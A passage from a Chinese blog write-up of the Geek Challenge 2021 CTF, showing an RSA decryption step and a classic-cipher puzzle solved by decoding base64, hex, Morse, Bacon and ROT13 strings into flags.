m=gmpy2.powmod(c,d,n)
print(long_to_bytes(m))

结果:b’1919810’

连起来得到flag.zip密钥。SYC{RSA_is_really_easy}

easy house of Classic Crypto

附件:

五段密文,以不同形式加密。

T0s=

base64编码,解码得到“OK”

4e6577

十六进制转文本,解码得到“New”

-.-- — …-

摩尔斯密码,解密得到“you”

ABABAABBABABBBABABBA

培根密码,解密得到“know”

jung vf pynffvp pelcgb

凯撒密码,偏移量13,解密得到“what is classic crypto”

连起来得到flag.zip密钥。

SYC{Meaningless_crypto}


极客大挑战 2021
https://equinox-shame.github.io/2022/03/14/极客大挑战2021/
作者
梓曰
发布于
2022年3月14日
许可协议